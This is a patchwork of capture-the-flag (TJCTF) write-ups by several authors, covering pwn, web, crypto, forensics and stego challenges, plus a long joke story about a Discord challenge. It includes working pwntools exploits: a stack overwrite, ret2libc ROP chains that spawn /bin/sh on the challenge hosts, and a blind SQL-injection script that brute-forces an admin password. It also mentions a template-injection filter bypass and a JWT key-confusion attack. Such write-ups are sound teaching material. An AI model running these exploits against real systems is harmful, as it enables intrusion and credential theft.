  os.system(f"cat {os.path.join(str(cur),file)} >> flags.txt") # Basically puts the text file into flags.txt
  os.system(f"rm -rf {cur}") # Remove at your own risk, just cleans up and makes sure not to blow up your VM
  cur += 1

After running the script you'll be left with a file flags.txt. Majorly, flags.txt contains a bunch of ljctf{n0t_th3_fl4g} but if you filter this out using grep -v the flag will be revealed to you.

It gets a bunch of input from us using a function called input that does some multiplication a value, lets call this number "num", and then calls fgets(var,num,stdin), basically reading num bytes into "var". By stepping through the program and looking at every function call of input, we see the last one has the largest value, so I just went with that even though they'd all probably work.

Later on, there are some interesting instructions. Namely these two:

cmp DWORD PTR [ebp-0xc], 0xc0d3d00d
jne <main+443>

Note that these two lines are at main+247 - that's quite a jump. It compares some variable on the stack to 0xc0d3d00d and jumps away if they aren't equal. If they are equal, it goes on to execute some instructions including fopen, fgets, puts etc. - probably printing the flag from flag.txt.

Using gdb, I set a breakpoint at the instruction that compares ebp-0xc to 0xc0d3d00d. Then at the fourth input I pasted in a de brujin pattern generated by pattern.py. At the breakpoint, I read ebp-0xc, and pasted this value back into pattern.py. This gives 116 bytes until we overwrite this variable, so our payload is just

enter whatever you want into the first three inputs
enter 116 bytes + p32(0xc0d3d00d) on the fourth input
Script below, even though this doesnt really need a script(a dynamic one, I mean)

from pwn import *
NUM_TO_VAR = 116
padding = b'A' * NUM_TO_VAR
p = remote('p1.ljctf.org',8002)
[p.sendline('t') for _ in range(3)] # If you send nothing it'll rage
payload = padding + p32(0xc0d3d00d)
p.sendline(payload)
p.interactive()

Use dnspy to read Assembly-CSharp - tjctf{wh3rs_ Part 2 - Use AssetStudioGUI - VictorySound2.wav (1.wav is japanese) Voice says: Flag part 2 is: "the_T5sp1n" or 0x7468655f54357370316e (Hex gives capitalised T) Part 3: Strings level0 and grep for '}' (probably not intended lmao)

tjctf{wh3rs_the_T5sp1n_sn4ekk}

This challenge was definitely one of the harder ones in the CTF, mainly because of it's deceiving point value, at only 5 points. The description doesn't provide any information at all, which was very strange, and the fact that the challenge was categorized as "Misc" also made it very confusing, as should the challenge not be OSINT if nothing at all is provided?

This ended up taking a very long time to figure out. Perhaps the title would give a bigger hint? It mentions Discord, which is a common text and voice messaging service used by gamers.

I myself, am not a gamer, so I wasn't too keen on the idea of registering at discord.com, but if I was going to get 5 points for it, I was going to do it nonetheless.

Registering however, was a challenge in itself.

The difficulty lies in that you have to put personal information in, but wait... Do I really trust a site like discord with my personal details?

Were these 5 points really worth it? I asked myself.

"Yes. Yes they are. We must beat our rivals Pwn to 0xE4!".

And so, reluctantly, I filled in my details, and added 2 Factor Authentication for safety.

These 5 points were going to be so worth it.

However, how was I to get into the server where the flag was?

I would need an invite link. But where was I to get that?

Well, I started by trying to OSINT the challenge creators, in the hopes that they would have left something in their social medias, but it ended up with no results, to my sadness.

I looked for minutes, hours, days for this link, but nothing showed up.

Eventually, I gave up and decided to come back to this challenge another day. I decided to look at other challenges.

What about that circle one? Or the difficult decryption one?

But still, there was a feeling in my heart.

A feeling that meant I would HAVE to get those 5 points.

After all, it could mean the difference between winning and losing...

One morning, while scrolling through the challenges, I noticed something rather interesting.

There was a logo that looked oddly familiar amongst the email, Facebook and Twitter logos.

At once I recognised what it was.

IT WAS THE DISCORD LOGO! Hovering over it, I saw it redirected to a discord.gg link.

Perhaps this was it?

Perhaps this was the link to join the discord?? With my right hand sweating and shivering, I moved my mouse towards the icon, and clicked.

For a moment... There was silence.

Nothing could be heard, except for the faint sound of rickrolls in the background, and the weird audio for arabfunny.

Suddenly, I was greeted with a page. "evanyeyeye invited you to join TJCTF".

This was it. Those 5 points were going to be mine, and we would crush Pwn to 0xE4 like twigs.

However, it turns out this was again, still not enough. The security of the server was set to very high, and I needed to pass a captcha.

"No problem!", I thought. "I can just use my OCR script!".

However, despite trying over 2 times to try and get the OCR script to work, I never managed to do it, and time was running out.

There were only 95 hours left in the CTF.

This needed to be quick.

We were running out of time.

This was an emergency.

Immediately I recruited help from our team's Asian, PotatoK. He was able to read the letters and numbers and so, after a long while of waiting, we got access to the server! Those 5 points were finally going to be ours! However, once again, due to the delicate crafting of this challenge by the creator, KyleForkBomb(who even is that guy), we were stopped in our tracks once again. "How many parts does this challenge have?", I thought to myself. I decided to go back to the challenge page, and luckily enough, there was a relevant hint!

"Type ?flag in chat"

So I proceeded to type in "?flag in chat", in the hopes that it would give me the flag, but after 5 seconds of me typing "?flag in chat" into notepad, it was clear that this was going nowhere. So, I kept on pushing. I found a shortcut for typing it as well, by simply CTRL-C to copy and CTRL-V to paste. However, even after a further 7 seconds of typing it, no flag was there. Where was this flag, and why was it so difficult just for 5 measly points? I had to beat Pwn to 0xE4. I had to.

After a few more seconds of trying to type "?flag into chat" into my notepad window, I decided to try and take the hint from another perspective. I decided to read the hint once more.

"Type ?flag in chat"

Ever since we discovered the hint, we had always interpreted it as 'Type "?flag i n chat"'. But what if it was meaning something else? For example, it could have meant 'Type "?flag" in chat'.

Now everything made sense.

The pain of trying to find the Discord link. The captcha which I had to get PotatoK to solve. The registering for the Discord account. It all made sense now. All the suffering we went through.

With palms still sweating, I slowly typed "?flag" into the #general chat.

There was no one else around as far as I could tell. I was going to crush Pwn to 0xE4.

I was going to get these points.

I was close, I could feel it.

I could definitely taste the flag.

I felt so close.

Once I typed "?flag" in chat, there was silence yet again.

I could feel the sense once again, just like when I clicked on the discord link.

A few seconds passed.

Then, I saw my message get deleted? Who could have done this? Was it the evil mind of the challenge creator? Was it... no... it couldn't be... Pwn to 0xE4???

Could they have done this in order to get the flag and the points before us?

This was a disaster.

We needed those points.

This was turning into a nightmare, and there were only 94 hours left in the CTF.

We needed a plan to take them down, and fast. We quickly retreated back to the Jackbox server in order to discuss.

This had to be done quick.

We would need to act fast.

Our plan was simple. We would just need to type the command, and the get output before Pwn to 0xE4 would have a chance to intervene.

Using my new techniques I learnt from Truly Terrible Why, and also the CTRL-C CTRL-V technique from earlier, I was set to get this flag. This was going to work.

I was going to get this flag, get those 5 points, and crush Pwn to 0xE4.

I could taste victory already, and those CTFTime points would definitely be ours.

We were almost ready to execute the plan.

This would be it.

The flag would be ours.

Those 5 points we worked so hard for.

Registering the account, finding the link, getting past the captcha, using the hint. All the pain and suffering would finally pay off.

We were ready to take on Pwn to 0xE4.

We waited for the perfect moment to strike, but we had to be extra careful, as we did not expect them last time...

The plan was in action! I pasted the command carefully, but swiftly, and awaited the response...

Yet again... silence...

Until...

We were able to retrieve a message link...

It appears this takes us to the announcements channel, which I scrolled through a couple times, but couldn't find anything of use.

Where was this flag, and why was this challenge only worth 5 points???

Then... something caught my eye...

It appeared to be... an image... with some text on it. The words looked familliar... especially the "tjctf" part...

Suddenly, I realised what this was.

This was the flag!! The very thing that took almost 2 minutes to find was right in front of us!!

I had to get PotatoK once again to read it for me, but we finally found the flag after a lot of sweat, pain, and effort.

Swiftly I wrote the flag down, and copied it into the flag box.

"Correct!" it read, and those 5 points were finally ours.

We would go on to get defeated by Pwn to 0xE4, as they solved Naughty, meaning that these 5 points made all the difference.

Thank you for making this one of the most difficult CTF challenges I have ever solved, and even though it was only worth 5 points, they were more than satisfying to get.

Flag: tjctf{circles_was_a_bad_challenge}

-@Willwam845

The first step is to get a list of all the words from the titanic:

Now we create a new wordlist in flag format:

Then we can use the password cracking tool john to get the flag.

The flag is tjctf{ismay's}

There's no NX, AND a gets call. On top of this, the program sends us the buffer address. A simple ret to shellcode, right?

Wrong, in fact. We have to buffer overflow from main, which makes things more difficult. Instead of the classic leave ; ret, it pops a value into ecx, then loads ecx - 4 into esp. This removes our classic buffer overflow where we change EIP. Instead, we must stack pivot.

We have control of ESP. When you call ret, the program jumps to the address stored at ESP. We can set esp to the address of the buffer. Then, we change the beginning of our buffer to be the address of our shellcode.I put the shellcode after the esp.

We can use pattern.py to figure out the amount of bytes until esp, which is 32.

NOTE! it subtracts 4 from our chosen esp value, so we must take care of this.

I created custom shellcode that had to have the address of a string /bin/sh which I also put in the input.

Try filling out the form once -- it returns some of our own input. Sign of XSS or SSTI. <b>1</b> doesn't do anything, but {{config}} does.

This line ^^^ in particular looks interesting. Visiting the link /secretserverfile.py reveals the source code for the challenge, which includes some code about filtration.

So it seems like the challenge is to bypass the filter to read the strategy guide. Given flask is written in python, it would make sense to import a module that can execute commands; althought os is filtered, subprocess is not, and now the only challenge is figuring out how to import. After a fair bit of googling, it turns out

Can be used to import a module. Combining this with subprocess we get a final payload of:

and reading the file gives us: Best formation that wins every time: DDDDD DLLLD DLHLD DLLLD DDDDD Key: D=Drone L=Landscaper H=HQ Beginning of game strategy:

tjctf{c0ng3n1al_500iq_str4ts_ez_dub}

Download -> exiftool meme.png -> profit

Flag: tjctf{ch0p1n_fl4gs}

So i was looking at the csv and thought "kek tf does this mean" but then i checked the range values for the csv and saw they were rly similar. i looked at the hint about tony stark and thought maybe i need to build an ai or some shit. woa kept telling me i was mental and had big confusion but i continued anyway. i built one (code below) and ran it (followed tutorial with adjustments for massive training data). the output it gave was in binary (like in training data). i converted to text and gave flag{mlWis_cool} but it looked like some bits were flipped so i changed it to flag{ml_is_cool} which is flag.

https://medium.com/technology-invention-and-more/how-to-build-a-simple-neural-network-in-9-lines-of-python-code-cc8f23647ca1

hlp = open("help.csv","r").read().split("\n")
hlp = [[int(y) for y in x.split(",")] for x in hlp]

flg = open("flag.csv","r").read().split("\n")
flg = [[int(y) for y in x.split(",")] for x in flg]


from numpy import exp, array, random, dot, set_printoptions, inf
set_printoptions(threshold=inf)

class NeuralNetwork():
    def __init__(self):
        self.synaptic_weights = 2 * random.random((10, 1)) - 1
    def __sigmoid(self, x):
        return 1 / (1 + exp(-x))
    def __sigmoid_derivative(self, x):
        return x * (1 - x)
    def train(self, training_set_inputs, training_set_outputs, number_of_training_iterations):
        for iteration in range(number_of_training_iterations):
            output = self.think(training_set_inputs)
            error = training_set_outputs - output
            adjustment = dot(training_set_inputs.T, error * self.__sigmoid_derivative(output))
            self.synaptic_weights = self.synaptic_weights + adjustment # fukin numpy being shit kek
    def think(self, inputs):
        return self.__sigmoid(dot(inputs, self.synaptic_weights))



neural_network = NeuralNetwork()

print("Random starting synaptic weights: ")
print(neural_network.synaptic_weights)
training_set_inputs = [[y/100 for y in x[1:]] for x in hlp]
training_set_outputs = [x[0] for x in hlp]

print(training_set_inputs[0],training_set_outputs[0])

for i,j in enumerate(training_set_inputs):
    neural_network.train(array([j]), array(training_set_outputs[i]).T, 10000) # gotta train individually or numpy gets triggered

print("New synaptic weights after training: ")
print(neural_network.synaptic_weights)

b = ""
for i,j in enumerate(flg):
    print("Considering new situation :",j)
    a = neural_network.think(array(flg[i]))[0]
    b += str(int(a))
    print(int(a))
print(b)

We can use the SQL LIKE clause to bruteforce the password one character at a time.

import requests

url = 'https://weak_password.tjctf.org/login'
alphabet = 'abcdefghijklmnopqrstuvwxyz'

print('Bruteforcing password: ', end='', flush=True)
for i in range(100):
    for char in alphabet:
        r = requests.post(url, data = {'username': 'test', 'password': f"a' OR EXISTS(SELECT * FROM `userandpassword` WHERE username='admin' AND password LIKE '{'_'*i}{char}%') AND ''='"})
        if 'Wrong' not in r.text:
            print(char, end='', flush=True)
            break
    else:
        print('\nPassword found')

The password is 'blinded', the flag is:

tjctf{blinded}

There is literally zero protections.

We could do ret to shellcode, but there's no jmp esp and the shifts with the buffer can be very temperamental. Instead, I used ret2libc, which is a lot more reliable.

Via the GOT and PLT, we can execute a simple leak of the address of puts. Feeding this value into libc database find, their libc version is libc6-i386_2.27-3ubuntu1_amd64

So, we can use the GOT and PLT to leak the address of puts and call main again. Then, we can subtract the appropriate value from this to get the libc base. Since we called main again, we get a second input, to which we can deliver the main payload of system("/bin/sh").

from pwn import *
NUM_TO_RET = 0x10c + 4
padding = b'A' * NUM_TO_RET
e = ELF("./osrs")
leak = flat(padding, e.plt['puts'], e.symbols['main'], e.got['puts'])
libc = ELF("/home/kali/Tools/libc-database/libs/libc6-i386_2.27-3ubuntu1_amd64")
p = remote("p1.tjctf.org", 8006)
p.recvuntil(": ")
p.sendline(leak)
P.recvlines(2)
output = p.recvline() # Our leak of the puts address
puts = u32(output[:4])
log.info(f"Puts address: {hex(puts)}")
libcbase = puts - libc.symbols['puts']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
final = flat(padding, libc.symbols['system'], libc.symbols['exit'], next(libc.search(b"/bin/sh\x00")))
p.sendline(final)
p.interactive()

This has been explained in countless writeups, so I won't go over it largely, but there's NX and no PIE. So we can use ret2plt, like always, to leak a libc address.

LARGE PROBLEM!

Main is quite a complex function. For the purposes of buffer overflow, this is irrelevant to us. However, if we just overwrite RBP with a bunch of As, it means that errors will be caused at an instruction like mov DWORD PTR [rbp-0x8], 0x9 , and whenever pop is called(after rsp is set to rbp). Thus, we must give rbp some form of authentic value so we can basically move the stack somewhere else. There is a page mapped read and write inside of the binary at around 0x602000-0x603000 . We can set rbp to a value around here to create a nice fake stack, then execute a ret2libc attack.

from pwn import *
NUM_TO_RET = 282
padding = b'A' * NUM_TO_RET
e = ELF("./stop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/home/kali/Tools/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6")
poprdi = 0x0000000000400953 # pop rdi ; ret
poprsi = 0x0000000000400951
#p = e.process()
p = remote('p1.tjctf.org', 8001)
leak = flat(poprdi, e.got['printf'],poprsi, 0, 0, e.plt['printf'], 0x0000000000400747, word_size=64)
payload = padding[:-8] + p64(0x000000000602000 + 0x1000 - (0x20 + 0x8 * 10)) + leak
p.sendline(payload)
p.recvlines(9)
output = p.recvuntil("Which")[:-5]
output += b'\x00\x00'
printf = u64(output)
log.info(f"Printf: {hex(printf)}")
libcbase = printf - libc.symbols['printf']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
chain = flat(poprdi, next(libc.search(b"/bin/sh\x00")), poprsi, 0, 0, libc.symbols['system'], word_size=64)
payload = padding + chain
pause()
p.sendline(payload)
p.interactive()

Jwt HSA/RSA signing vulnerability Use pubkey.pem with jwt_tool.py 'speed' is calculated with

speed = int(hashlib.md5(("Horse_" + horse).encode()).hexdigest(), 16)

'ajuuer' is fast enough Set horses to ["ajuuer"] Race Get flag

tjctf{w0www_y0ur_h0rs3_is_f444ST!}

from pwn import *
import hashlib
from pwnlib.util.iters import mbruteforce
import string

BOSS_HORSE = "MechaOmkar-YG6BPRJM"
goal = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
def attempt(horse):
        speed = int(hashlib.md5(("Horse_" + horse).encode()).hexdigest(), 16)
        if speed > goal:
                return True
        else:
                return False
myhorse = mbruteforce(attempt, string.ascii_lowercase, length=10)
print(myhorse)

So after deobfuscating the script (which i didnt rly needed to) i found it was encrypted with a otp of random order of range(256). so then i thought "kek how can i break otp" but then i realised it never repeats itself. i also knew that it started with "tjctf{" and ended with "}". i created a list of possible values left and used that for each position of the flag. this gave me a bunch of characters possible for that position. i just needed to repeat it until there was 1 char left (connected with vpn cus doxx). i did it with this script.

tjctf{n3v3r_r0LL_ur_0wn_cryptOMEGALUL}

Windows 7 sp1 x64 memdump By grepping for urls, we can find . Command history shows us the credentials with a username and password, and also the name of a deleted file. We download this file: _4nd_y0u_w1ll_n3v3r_f1nd_m333} We now see that mstsc is running, which is the rdp client. I used filescan to search for open files, and found an the rdp cache file. We can use to parse it, and get 128 tiles from the image. By piecing this together (thanks will) we get the first half of the flag: tjctf{c00k1e_m0n5t3r_w4s_h3r3

Flag: tjctf{c00k1e_m0n5t3r_w4s_h3r3_4nd_y0u_w1ll_n3v3r_f1nd_m333}

Right channel of audio is different Remove left channel, get full spectogram with Wingdings2

tjctf{quicksonic}

NX, no PIE. The whole cookie thing is largely irrelevant so I'm not gonna comment on it.

It calls gets on rbp-0x50, opening an avenue for buffer overflow. We can do a ret2plt attack, calling puts@plt on puts@got in order to leak a libc address, specifically that of puts. Then, we can subtract the appropriate offset to get the libc base.

From there, it's a simple ret2libc attack. We call system("/bin/sh") using pop rdi. The problem is, this doesn't seem to work. To make it work, we have to set rsi and rdx to 0. We don't have a pop rdx gadget inside of the binary, so it's impossible... right?

Wrong, actually. At this point in the exploit, we know the libc base, so we can use rop gadgets inside of the libc. So the full exploit is:

then i found that it showed 2 results for 31-33 range which looked promising. i xored them 2 at a time as well as parts of the flag to find the difference. i then asked willwam to find a solution but i also checked it with the solutions i generated. i then found 33 == 21 + 18 so the mid of 3 sections xored with flag part would get the other part of flag. this gave me "cap" as my 4th-6th characters. i used the chars i generated and bruteforced it and saw "hata o sagashiteimQCE ka? dozo", "tjctf{sE]Ymasen_flag_kudasaiYM" which was using "isa". i brute forced the last char to get "isacapo" and

"hata o sagashiteimasu ka? dozo, tjctf{sumimasen_flag_kudasaii}."

If we open this up in a gcode editor, we can see a fake flag there. The hint hints at the movement speed of the arm, and so if we do a bit of research into this, we can see they are represented by "F" values. Therefore, we extract these from the gcode file. Most of them are either F10500 or F2400, but some of them appear to be quite small, and some even appear to be within the range of numbers for standard ASCII chars. Perhaps there is something hidden in those values... So, we filter out the F10500 and F2400 values. At the end of the output, we can see a list of values that appear to be within the ASCII number range, so I converted these numbers to ASCII text to get the flag.

Flag: tjctf{m4ny_l4y3rs}

Download -> strings ./forward -> scroll up

tjctf{just_g3tt1n9_st4rt3d}

Extract red pixel vals from each frame (last bit) go to day's site

https://medium.com/bugbountywriteup/rsa-attacks-common-modulus-7bdb34f331a5

copy code with adjustments. convert output to text and bam!

flag{excitableillumination_wanderer}

def main():
    from PIL import Image, ImageFilter

    def openshit(filename):
        # Open image file
        im = Image.open(filename)

        print("\n** Analysing image **\n")

        # Display image format, size, colour mode
        print("Format:", im.format, "\nWidth:", im.width, "\nHeight:", im.height, "\nMode:", im.mode)

        # Check if GIF is animated
        frames = im.n_frames

        print("Number of frames: " + str(frames))
        print("\n** Converting image **\n")

        alls = []
        # Iterate through frames and pixels, top row first
        for z in range(frames):
            # Go to frame
            im.seek(z)
            rgb_im = im.convert('RGB')
            # print("Frame: ", im.tell())

            pixels = list(rgb_im.getdata())

            a = int("".join([str(r[0]%2) for r in pixels]),2)
            # print("--------------------------------------")
            # print(a)
            # print("--------------------------------------")
            alls.append(a)

        return alls


    alln = openshit("n.gif")
    alle = openshit("e.gif")
    allc = openshit("new_c.gif")